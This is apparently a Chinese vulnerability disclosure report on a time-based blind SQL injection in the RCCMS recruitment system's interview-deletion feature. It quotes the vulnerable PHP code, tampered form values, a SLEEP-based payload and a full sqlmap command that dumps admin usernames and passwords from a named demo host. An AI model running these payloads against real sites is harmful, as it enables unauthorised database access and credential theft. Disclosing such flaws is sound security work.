### 简要描述:
嘉缘人才系统1处time-based盲注.
(demo测试)
http://v2014.rccms.com/
### 详细说明:
SQL注入在http://v2014.rccms.com/member/index.php?m=person_interview&show=works这个页面,删除面试通知处。
先看看代码:
```
/member/person_interview.php
11 if($do=='del'){
12 $checks=$_POST['checks'];
13 $db ->query("delete from {$cfg['tb_pre']}myinterview where i_pmember='$username' and i_id in ($checks)");
14 showmsg('ɾ���ɹ���',"?m=person_interview&show=$show",0,2000);exit();
15 }else{
```
这里的$checks去了$_POST['checks'], 然后带入了SQL,没有做有效性检查。貌似可以注入。
准备:先一个个人账号,个人账号添加一份简历。注册一个公司账号,公司账号添加一个职位,然后发送面试邀请给刚才的简历。或者添加个人简历后,等待系统自动推荐一些简历过来。
进入会员中心 > 求职管理 > 收到的面试通知, 可以看到刚才的面试通知。还是老样子,先修改HTML做个简单的测试:
找到
```
<input type="checkbox" name="id" value="703">
```
将value修改为value="703) and",如下图:
[<img src="https://images.seebug.org/upload/201411/2111082360cfc87ed215c4997b84233fd1672dd7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/2111082360cfc87ed215c4997b84233fd1672dd7.png)
点击删除后可以看到SQL error。
[<img src="https://images.seebug.org/upload/201411/21110905158ed0ccc852b080532df4bc18f428e3.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/21110905158ed0ccc852b080532df4bc18f428e3.png)
在将value修改为value="703) and (1",如下图:
[<img src="https://images.seebug.org/upload/201411/21111019d6fea71af1085bf34cc6e8dc58d6e32e.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/21111019d6fea71af1085bf34cc6e8dc58d6e32e.png)
点击删除,删除成功:
[<img src="https://images.seebug.org/upload/201411/21111039fa60fdbb017911d2c00bf3b988ef3093.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/21111039fa60fdbb017911d2c00bf3b988ef3093.png)
这里可以确定这个注入还是存在的。
本来是想既然可以boolean盲注,就利用公司账户不断的发送面试邀请,然后在个人账户去删除,TRUE的情况下删除,FALSE的情况下不删除来出数据的,后来发现一家公司发送不了那么多面试邀请,只好放弃了这个念头,改为试验time-based,有了sleep,SQL语句变成
```
delete from job_myinterview where i_pmember='tstuser' and i_id in (703) AND IF(1,IF(SLEEP(5),0,0),0) and (1)
```
这样的SQL就可以同时SLEEP,有可以不用删除数据了。
剩下的只要绕过FRCMS对sleep的check就行了,试验了一下,还是可以绕过的,于是写了一个sqlmap的针对这个case的test case。
sqlmap走起:
```
python sqlmap.py -u "http://v2014.rccms.com/member/index.php?m=person_interview&show=works&do=del" --referer="http://v2014.rccms.com/member/index.php?m=person_interview&show=works" --cookie="***cookie****" --data="id=3&checks=707)%20and%201=(0" --tech=T --dbms=mysql --random-agent --prefix="707)" --suffix="#'" -p checks --proxy="http://127.0.0.1:8080" --test-filter="FRCMS" --dump -T "job_admin" -C "a_user,a_pass" --time-sec=8 --delay=1
--data中的707为面试通知的id, --prefix中的707同
```
[<img src="https://images.seebug.org/upload/201411/21160438a80a378a4db30814d146e78aa8f22da3.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/21160438a80a378a4db30814d146e78aa8f22da3.png)
[<img src="https://images.seebug.org/upload/201411/2117490518212f9f505ee3dc81344fe035351811.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/2117490518212f9f505ee3dc81344fe035351811.png)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201411/21110905158ed0ccc852b080532df4bc18f428e3.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/21110905158ed0ccc852b080532df4bc18f428e3.png)
[<img src="https://images.seebug.org/upload/201411/21160438a80a378a4db30814d146e78aa8f22da3.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/21160438a80a378a4db30814d146e78aa8f22da3.png)
[<img src="https://images.seebug.org/upload/201411/2117490518212f9f505ee3dc81344fe035351811.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/2117490518212f9f505ee3dc81344fe035351811.png)
暂无评论